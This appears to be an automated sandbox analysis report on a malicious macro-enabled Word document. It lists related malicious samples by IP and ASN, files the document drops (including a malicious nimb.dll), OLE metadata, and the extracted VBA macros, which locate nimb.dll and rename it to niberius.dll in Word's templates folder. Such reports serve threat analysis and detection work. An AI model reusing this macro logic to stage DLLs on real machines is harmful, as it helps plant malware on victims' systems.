	1R1aRTRnis.exe	Get hash	malicious	Browse	54.243.175.83
	triage_dropped_file.dll	Get hash	malicious	Browse	54.225.78.40
	08.jpg.exe	Get hash	malicious	Browse	50.19.92.227
	0708_5355150121.xll	Get hash	malicious	Browse	23.21.173.155
	OTzccW5OZg.exe	Get hash	malicious	Browse	50.16.226.23
	ve88CBNzQZ.dll	Get hash	malicious	Browse	50.16.216.118
	triage_dropped_file.dll	Get hash	malicious	Browse	54.235.175.90
	nimb.dll	Get hash	malicious	Browse	50.16.216.118
	0706_1050501748839.doc	Get hash	malicious	Browse	50.16.216.118
	file.dll	Get hash	malicious	Browse	23.21.136.132
	file.doc	Get hash	malicious	Browse	23.21.211.162
	file.doc	Get hash	malicious	Browse	23.21.136.132
	file.dll	Get hash	malicious	Browse	54.235.121.178
	file.doc	Get hash	malicious	Browse	50.16.246.238
	0706_1715044809783.doc	Get hash	malicious	Browse	54.235.175.90
	niberius.dll	Get hash	malicious	Browse	50.16.218.217
	nimb.dll	Get hash	malicious	Browse	54.225.78.40
	4h2yLkN8DO.dll	Get hash	malicious	Browse	23.23.104.250
	TejsR02giJ.exe	Get hash	malicious	Browse	50.16.216.118
pospvisis.com	triage_dropped_file.dll	Get hash	malicious	Browse	95.213.179.67
	nimb.dll	Get hash	malicious	Browse	95.213.179.67
	0706_1050501748839.doc	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67
	file.doc	Get hash	malicious	Browse	95.213.179.67
	file.doc	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67
	file.doc	Get hash	malicious	Browse	95.213.179.67
	0706_1715044809783.doc	Get hash	malicious	Browse	95.213.179.67
	niberius.dll	Get hash	malicious	Browse	95.213.179.67
	niberius.dll	Get hash	malicious	Browse	95.213.179.67
	0701_1866962341645.doc	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67
	file.dll	Get hash	malicious	Browse	95.213.179.67

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SWEB-ASRU	triage_dropped_file.dll	Get hash	malicious	Browse	77.222.42.67
	08.jpg.exe	Get hash	malicious	Browse	77.222.42.67
	0708_5355150121.xll	Get hash	malicious	Browse	77.222.42.67
	triage_dropped_file.dll	Get hash	malicious	Browse	77.222.42.67
	nimb.dll	Get hash	malicious	Browse	77.222.42.67
	0706_1050501748839.doc	Get hash	malicious	Browse	77.222.42.67
	file.dll	Get hash	malicious	Browse	77.222.42.67
	file.doc	Get hash	malicious	Browse	77.222.42.67
	file.doc	Get hash	malicious	Browse	77.222.42.67
	file.dll	Get hash	malicious	Browse	77.222.42.67
	file.doc	Get hash	malicious	Browse	77.222.42.67
	jax.k.dll	Get hash	malicious	Browse	77.222.52.246
	0526_28522894410229.doc	Get hash	malicious	Browse	77.222.52.246
	0526_1488782409783.doc	Get hash	malicious	Browse	77.222.52.246
	0526_17568640710485.doc	Get hash	malicious	Browse	77.222.52.246
	0526_4618771472215.doc	Get hash	malicious	Browse	77.222.52.246
	0526_1488782409783.doc	Get hash	malicious	Browse	77.222.52.246
	jax.k.dll	Get hash	malicious	Browse	77.222.52.246
	180000.dll	Get hash	malicious	Browse	77.222.52.246
	jax.k.dll	Get hash	malicious	Browse	77.222.52.246
AMAZON-AESUS	RUxuwqYQMM.exe	Get hash	malicious	Browse	54.235.88.121
	1R1aRTRnis.exe	Get hash	malicious	Browse	23.21.224.49
	triage_dropped_file.dll	Get hash	malicious	Browse	54.235.121.178
	paskoocheh-android.apk	Get hash	malicious	Browse	50.17.170.49
	paskoocheh-android.apk	Get hash	malicious	Browse	34.225.210.187
	08.jpg.exe	Get hash	malicious	Browse	50.19.92.227
	0708_5355150121.xll	Get hash	malicious	Browse	23.21.173.155
	OTzccW5OZg.exe	Get hash	malicious	Browse	50.16.216.118
	ve88CBNzQZ.dll	Get hash	malicious	Browse	50.16.216.118
	FQ4jzOGrg6udVQoV9d7S.exe	Get hash	malicious	Browse	3.223.125.168
	FQ4jzOGrg6udVQoV9d7S.exe	Get hash	malicious	Browse	3.223.125.168
	triage_dropped_file.dll	Get hash	malicious	Browse	54.225.245.108
	nimb.dll	Get hash	malicious	Browse	54.235.175.90
	0706_1050501748839.doc	Get hash	malicious	Browse	50.16.216.118
	file.dll	Get hash	malicious	Browse	50.16.220.248
	file.doc	Get hash	malicious	Browse	23.21.173.155
	file.doc	Get hash	malicious	Browse	50.16.246.238
	file.dll	Get hash	malicious	Browse	54.225.245.108
	file.doc	Get hash	malicious	Browse	50.16.246.238
	0706_1715044809783.doc	Get hash	malicious	Browse	54.235.175.90

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\kaosdma.txt Download File
Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	2.699513850319966
Encrypted:	false
SSDEEP:	3:EQgNQVLSV:EQgNAi
MD5:	A1924933759C1451D5C265A1AAE417BB
SHA1:	51E332B10F8DF35EC6CFE0F19BBFA1C1BA26C7EF
SHA-256:	14B234DD8C929349B23088908C14E02574760F839DE8A88574D7D4F70AFFD02F
SHA-512:	4D0DD0054634B744F7EDCFFEDB17E17FCB6B4D7B269BD6F23CB6275802D0AF42CC0460AFAF9D3539E23B0EA9673A7DBA30FF35AFAED68BDF86B3EBE15C9DF3F5
Malicious:	false
Reputation:	low
Preview:	185.189.150.70

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\VFZ0HUO0.txt Download File
Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	2.699513850319966
Encrypted:	false
SSDEEP:	3:EQgNQVLSV:EQgNAi
MD5:	A1924933759C1451D5C265A1AAE417BB
SHA1:	51E332B10F8DF35EC6CFE0F19BBFA1C1BA26C7EF
SHA-256:	14B234DD8C929349B23088908C14E02574760F839DE8A88574D7D4F70AFFD02F
SHA-512:	4D0DD0054634B744F7EDCFFEDB17E17FCB6B4D7B269BD6F23CB6275802D0AF42CC0460AFAF9D3539E23B0EA9673A7DBA30FF35AFAED68BDF86B3EBE15C9DF3F5
Malicious:	false
Reputation:	low
Preview:	185.189.150.70

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2581227F.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	4980
Entropy (8bit):	3.85346385078428
Encrypted:	false
SSDEEP:	48:unhNDy26sdBgD89t1Tb4HKKZX3Y6kpnydHk0azLUX:MrjBvt1X6Y+EDS
MD5:	800D9DB0CFC1190FBBBFCF148131457F
SHA1:	6D6F11B7EE5C393FA5EEA1BC6BB9B68D286EE4F0
SHA-256:	9A19C18847D04C7846F85CA1D6EFFEE7B818F6425420B659A4C54807BF537734
SHA-512:	016E63724592069CE43A096094F826FC2608B158F38FB01B94617CE821387251431D823B918F4569512BA1727477229B1426176D6D781F24EE3E72C2393ADAC0
Malicious:	false
Reputation:	low
Preview:	....l...........1.../................... EMF....t.......................V.......i......................:...........................7...5...R...p...................................S.e.g.o.e. .U.I.....................................................\........Z/.....(.......................................[/.....................H[/..............Z/.....................a$...................................... .............................................................[/......[/......\/.........dv......%...................................r...............+............... ... ..................?...........?................l...4........... ... ...(... ... ..... .............................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8AE9CCB3-349E-46EF-BF24-C3A751787722}.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\msohtmlclip1\01\clip_colorschememapping.xml Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	314
Entropy (8bit):	4.803822695545621
Encrypted:	false
SSDEEP:	6:TMVBd6OjzVlNAUifYRZ5YUvLGDmaN4bJU6Yizg:TMHdtnGfYF/CSaibJUzf
MD5:	6B7A472A22FBDBFF4B2B08DDB4F43735
SHA1:	C6DF700168D3F5A90FF2713B78F8EF1446927102
SHA-256:	65F3CDBC4390C81B94FA960B7362917443FC1E6A51E3F81E4CB4C4DFA09DA4BE
SHA-512:	8D2E00954422F124CB1A7B969A728B3A6C9FB11C44623C1CDA33F2364E1C7CB101F6BF6C980E5F26368594F6CECED5C3D5E5A43327387554567BCDB5F1036740
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>

C:\Users\user\AppData\Local\Temp\msohtmlclip1\01\clip_image001.emz Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	gzip compressed data, max speed, from NTFS filesystem (NT)
Category:	dropped
Size (bytes):	1573
Entropy (8bit):	7.825113016169698
Encrypted:	false
SSDEEP:	48:XOF/tYpAwgxQVEIAvMBauhRyLzj11gEMN92y:ud+V7VBjhRyPx1aP
MD5:	3049B0E9ECD3E912A6CBD088FD32269A
SHA1:	CA30E103EA5FAA3B064CBE7E2E751B0FB7AA0B62
SHA-256:	36D9FBA23F7F6B2A2411C474700FE8FAC7FE81818D991D36A67BE35C87FA8035
SHA-512:	9B1FDF68613AEF12CEE3B10B65B44245618F9A396931ECEB06238FBA06EFF7E381156BF257A47EFD67655CBE870197BE7D1C0C386ADB0D7E915934C82901F9A5
Malicious:	false
Preview:	...........[l.U..O1.(.F.QKbM4...$.._...M......"^b.OFZZ...[.m.....r.(.F.FB..P](.B.....[..^.......nC...d.{.9;..v.L&A)..u'..j..._'.U.J~..W.JP.<..}\|jI..t..9.<.>A..q.z...v/Q..xb.e....}..6.+.?..u".&r.`.8..Q..O.....S.G..t...>X.>.......7.W0p....!._v......1.qs..f.G.`^..5..Im._K..Y.6..I....D....V.=...{-;.1..Xk.y.Uw.}....k>b..Q..}..k...y.U..3..#.J.(.R^.9..VJQo.\..h_c%.L6..=../<H)....#.. ....(?/...r(77.rs.)';...2)+k+een....uK.m..L...9.6.o...TJ........=G{.Gaa.....k....+UTd.n.E.T..q.......45u...n....../)..9.O3?^.M...\|...%%..G.c.......:...3.Q.:...E.-[.Z.R...v6.P..}.....B._VZj.8..Z.......1...K.....]2......1.n...S.in#..c.r.........(/......M.....//.....~j..B..4..5j.../....v..7...#...j........\|.....z..a.\.>v..5.V......n..q@.0f.......b...8...8$-\|...R.I7.=z..v6.H^...0..@.cX...{.....B.`7.9.G.....]..R....]>G..~.l.'yv9J...A- ..@+\|._.....4......nw+...)..........'._<C#C.:.uXj.X+.k..(.YZ\|G..?91.ql....a...O.....pMt.M.s]....a.}..M.~U.C..#..k....?\|F.3q\|w....

C:\Users\user\AppData\Local\Temp\msohtmlclip1\01\clip_image002.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	PNG image data, 1 x 1, 1-bit grayscale, non-interlaced
Category:	modified
Size (bytes):	141
Entropy (8bit):	5.0418848503769755
Encrypted:	false
SSDEEP:	3:yionv//thPlE+k/acllGkC199h/rywOdg9RthwoMG+jqDsQ8lmhDG2ntB1p:6v/lhPfk/2XFhm+jQDTAD5dp
MD5:	9B1C100EED15C0F0598CF0053EBDEFF2
SHA1:	3CFBD2B4EEDDBF0594741263616BE31C72626E4F
SHA-256:	75209454F9B87D0147B39F1324810F5719C35454ED8C296C7BDF1BF9B9A919A3
SHA-512:	BE4DD83E8E9054EFC3176C331068915C1D0B066B011B2C27445C39542787101E4A888607463721D314CFCA3EDB6CEC5433B62A16DB6DF8164FB8D70F911F81DC
Malicious:	false
Preview:	.PNG........IHDR.............7n.$....gAMA....\|.Q.....pHYs..........+......tEXtSoftware.Microsoft Office..5q....IDAT..ch..............IEND.B`.

C:\Users\user\AppData\Local\Temp\msohtmlclip1\01\clip_themedata.thmx Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3104
Entropy (8bit):	7.632416686567842
Encrypted:	false
SSDEEP:	96:Q6Zjp6bfuijKIDa05vZep862Q9NAjCbxFpgNum:Q6/6rT5bk8xgNAORm
MD5:	2B26E4DD316F857EBB6E2B6B0E1E0282
SHA1:	581AE91D57A710CF31348CD5F5AB6FD1B081291E
SHA-256:	40BB5B5897D76A8EEFB7136E658BDDAA65F094C9689B931A78A01601F9EE02CB
SHA-512:	F097BEEC6E9E39E56DD1AF7DD1E02FE87DA3F818006E5B8B9377013E6FD039EE5765B3BDD7FBF96529C9988E2D7A75EA7300C7CA292DB9471ACE450E7582D0A0
Malicious:	false
Preview:	PK..........!.................[Content_Types].xml...N.0.E.H...-J..@.%...\|..$....U..L.TB. .l,.3..;.r.......J..B+$..G]..7O.V....<a.......(7..I..R.{.pgL.=..r.....8..5v&.....uQ...8..C......X=....$..?6N.JC........F..B..'...+...Y.T....^e5.5.. ......._.g .-.;.....Yl....\|6^.N...`.?.....[........PK..........!........6......._rels/.rels...j.0.....}Q...%v/..C/.}..(.h".....O..........=...... ......C?.h.v=......%.[xp..{._.P.<.1..H.0.....O.R.Bd....JE.4b$...q_......6L...R.7`.......0.O...,.E.n7.Li.b../.S...e...............PK..........!.ky..............theme/theme/themeManager.xml..M.. .@.}.w..7c.(Eb.....C..A......7....K.Y,....e.....\|,....H..,l.....x.....I.sQ}#..... .+.!.,.^.$j=.GW...).E.+&..8........PK..........!.0.C)............theme/theme/theme1.xml.YOo.6....w toc'v..u...-M..n..i...P.@.I}.....a...m.a[....4.:l...GR..X^.6..>$...............!)O.^.r.C$.y@....../.yH*.....).......UDb.`}".q..J.....X^.)I`n.E....p).....li.V[].1M<........O.P..6r.=....z.gb.I.g....u.

C:\Users\user\AppData\Local\Temp\nimb.dll Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	823296
Entropy (8bit):	6.490962289954401
Encrypted:	false
SSDEEP:	12288:c+HZy3ykWy2UIHkfYsZ+HZy3ykWy2UIHkfYsZ+HZy3ykWy2UIHkfYs:75dynIM65dynIM65dynIM
MD5:	D62F5A4DC678BCCD781C791444F48219
SHA1:	F3BD45BFACF633F790B79DC3561A5C2807F755E0
SHA-256:	41C004D250049F7ABDD2207A80FE2B400055BE29F43B7273F58F20AB24C33E29
SHA-512:	B65D572096EC62A9536F4BE5FD53A253D88E4C8D9D5A395684A3D763B511AAAAE59AA0CB08927C9E1A5C8BA9F8ECC5F812C5F51D11C25128E314D493D8CB902C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o..+...+...+....o..=....o....."... ...+..._....o.......o......o......o..*...Rich+...........PE..L....D.D...........!.........P......)........................................ ..............................................,...x....... ........................%..@..................................@............................................text............................... ..`.rdata..............................@..@.data...(........ ..................@....rsrc... ...........................@..@.reloc...7.......@..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nimb.dll:Zone.Identifier Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	79
Entropy (8bit):	3.956926158720551
Encrypted:	false
SSDEEP:	3:gAWY3+/lAWY36AxZAWY3n:qY3ARY3lFY3n
MD5:	7D1929A78622DDCF7667E996D1C9204C
SHA1:	685EC20FDB904680E30553B957DDB6C69E9AEE7C
SHA-256:	B9A656B09CD4C161C1C09E796593BFBC061E67DF497310556FC8DB1D22111ABA
SHA-512:	BEF2029CBD33C71DC7E245B3CA9F32A38499FB43B104CDA538F860BF696B3E004235879A5968DB2CD3F6ABEDF257F36BE295C9BFD64FF7AF8D31F314654F67E8
Malicious:	false
Preview:	[ZoneTransfer]..ZoneId=3..[ZoneTransfer]..ZoneId=3..3[ZoneTransfer]..ZoneId=3..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\0708_3355614568218.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:16 2020, mtime=Wed Aug 26 14:08:16 2020, atime=Fri Jul 9 09:06:34 2021, length=900096, window=hide
Category:	dropped
Size (bytes):	2108
Entropy (8bit):	4.515637612712818
Encrypted:	false
SSDEEP:	24:8ZL/XTd6jFyRep9Dv3qVdM7dD2ZL/XTd6jFyRep9Dv3qVdM7dV:8l/XT0jFsbVQh2l/XT0jFsbVQ/
MD5:	B8638794C673AA6CAAD32CDC0FD26972
SHA1:	67EFF931986467D960E46C129DC386F8426C87CF
SHA-256:	236AAB703C400AC7512D7856D26AFC03DD54C977F3B6C018F05251DEF244F860
SHA-512:	68F28A4E9C5B9A5EA0094EED222743E4F2FF9C5E2D8D6B3D3CB931A6F8602C686356CEDAC9FAD5CEBAD20B1FCDF2700E89A157EFDC137804D7A7FFDB69F764EE
Malicious:	false
Preview:	L..................F.... ...\|.}..{..\|.}..{...N...t...............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....v.2......R.P .0708_3~1.DOC..Z.......Q.y.Q.y...8.....................0.7.0.8._.3.3.5.5.6.1.4.5.6.8.2.1.8...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\390120\Users.user\Desktop\0708_3355614568218.doc.-.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.0.7.0.8._.3.3.5.5.6.1.4.5.6.8.2.1.8...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......390120..........D_....3N...W..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.26127316779323
Encrypted:	false
SSDEEP:	3:M1VBWWQQ8QuLBCnWWQQ8QuLBCmX1VBWWQQ8QuLBCv:MLQQ8aQQ8BQQ8S
MD5:	3ECD47D2F7A8A0522CBA7C63530AAB6B
SHA1:	D5B85BBF70DB601A62751D246B4E900C7DDB2CC8
SHA-256:	76B4AF574873D2EBB80D68F5AAC825B6F8A15ACF2A799D2612A4E5782154C78F
SHA-512:	EB114D4F54917AA3B55981D77D8D8367C39A18810F37798F3ECC31C4B7FC02F8D15426ADCDE8ECE163B3BB8A73882CCAEB540D0E4374CBFCDD987DA4A8042C4D
Malicious:	false
Preview:	[doc]..0708_3355614568218.LNK=0..0708_3355614568218.LNK=0..[doc]..0708_3355614568218.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4311600611816426
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVydH/5llORewrU9lln:vdsCkWtORWRjYl
MD5:	390880DCFAA790037FA37F50A7080387
SHA1:	760940B899B1DC961633242DB5FF170A0522B0A5
SHA-256:	BE4A99C0605649A08637AC499E8C871B5ECA2BAA03909E8ADBAA4C7A6A1D5391
SHA-512:	47E6AC186253342882E375AA38252D8473D1CA5F6682FABD5F459E1B088B935E326E1149080E0FE94AB176A101BA2CB9E8B700AB5AFAE26F865982A8DA295FD3
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

C:\Users\user\Desktop\~$08_3355614568218.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4311600611816426
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVydH/5llORewrU9lln:vdsCkWtORWRjYl
MD5:	390880DCFAA790037FA37F50A7080387
SHA1:	760940B899B1DC961633242DB5FF170A0522B0A5
SHA-256:	BE4A99C0605649A08637AC499E8C871B5ECA2BAA03909E8ADBAA4C7A6A1D5391
SHA-512:	47E6AC186253342882E375AA38252D8473D1CA5F6682FABD5F459E1B088B935E326E1149080E0FE94AB176A101BA2CB9E8B700AB5AFAE26F865982A8DA295FD3
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Mr.Administrator, Template: Normal.dotm, Last Saved By: MyPc, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Jul 7 12:34:00 2021, Last Saved Time/Date: Wed Jul 7 12:34:00 2021, Number of Pages: 1, Number of Words: 3, Number of Characters: 21, Security: 0
Entropy (8bit):	7.580040776790893
TrID:	Microsoft Word document (32009/1) 54.23% Microsoft Word document (old ver.) (19008/1) 32.20% Generic OLE2 / Multistream Compound File (8008/1) 13.57%
File name:	0708_3355614568218.doc
File size:	898048
MD5:	992338b40b38f1f55bd4a9599f70771c
SHA1:	866086438592043aebb88f3da34ad437681a5cb0
SHA256:	b4d402b4ab3b5a5568f35562955d5d05357a589ccda55fde5a2c166ef5f15699
SHA512:	cd0482f15b709a61dcc3c0007486d5d2eaeb5bfc315cc2d82bd4f75dae68fed5fee8a0e90c61163723f34b0cdc6c459c186f14ef6b936bc5ed70e7b4d97da50a
SSDEEP:	12288:+BGIYW4wA74FRrUSJUnKERsY10hYBzSF6G8MHZf5th8NS+LBb+HZy3ykWy2UIHkJ:+EIZ4wA74D4SQKxZcy8gthDWa5dynIM
File Content Preview:	........................>.......................a...........m...............X...Y...Z...[...\...]...^..._...`...p...q...r...s...t..............................................................................................................................

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "0708_3355614568218.doc"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Office Word
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1252
Title:
Subject:
Author:	Mr.Administrator
Keywords:
Comments:
Template:	Normal.dotm
Last Saved By:	MyPc
Revion Number:	2
Total Edit Time:	0
Create Time:	2021-07-07 11:34:00
Last Saved Time:	2021-07-07 11:34:00
Number of Pages:	1
Number of Words:	3
Number of Characters:	21
Creating Application:	Microsoft Office Word
Security:	0

Document Summary
Document Code Page:	1252
Number of Lines:	1
Number of Paragraphs:	1
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 2819

General
Stream Path:	Macros/VBA/Module1
VBA File Name:	Module1.bas
Stream Size:	2819
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . @ . . . H . . . . . . . . . . . i . . I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 06 f0 00 00 00 12 05 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 40 05 00 00 48 09 00 00 04 00 00 00 01 00 00 00 69 e8 91 49 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 08 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Nedc,
String)
nam(pafs
Search(mds
VB_Name
ErrHandle:
ousx()
Ters.Name
Err.Clear
String
Object
uoia(Options.DefaultFilePath(wdUserTemplatesPath))
".dll"
"niberius"
Search
mds.Files
"nimb.dll"
uoia(fffs
Attribute
Object,
mds.SubFolders

VBA Code

Attribute VB_Name = "Module1"
Dim pls As String


Sub ousx()
Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))
End Sub




Sub nam(pafs As String)
Call ousx
Dim oxl
oxl = "\" & "niberius" & ".dll"
Name pafs As pls & oxl
End Sub


Sub uoia(fffs As String)
pls = fffs
End Sub
 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "nimb.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub

VBA File Name: Module2.bas, Stream Size: 689

General
Stream Path:	Macros/VBA/Module2
VBA File Name:	Module2.bas
Stream Size:	689
Data ASCII:	. . . . . . . . . * . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . i . f . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 01 f0 00 00 00 2a 02 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 31 02 00 00 85 02 00 00 00 00 00 00 01 00 00 00 69 e8 66 d0 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code
`Attribute VB_Name = "Module2"`

VBA File Name: Module3.bas, Stream Size: 1994

General
Stream Path:	Macros/VBA/Module3
VBA File Name:	Module3.bas
Stream Size:	1994
Data ASCII:	. . . . . . . . . : . . . . . . . . . . . . . . . A . . . M . . . . . . . . . . . i . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 03 00 01 f0 00 00 00 3a 03 00 00 d4 00 00 00 88 01 00 00 ff ff ff ff 41 03 00 00 4d 06 00 00 00 00 00 00 01 00 00 00 69 e8 20 d4 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
bvxfcsd()
ewrwsdf
Dir(Left(Options.DefaultFilePath(wdUserTemplatesPath),
VB_Name
vbDirectory)
dfbvc
ewrwsdf,
String
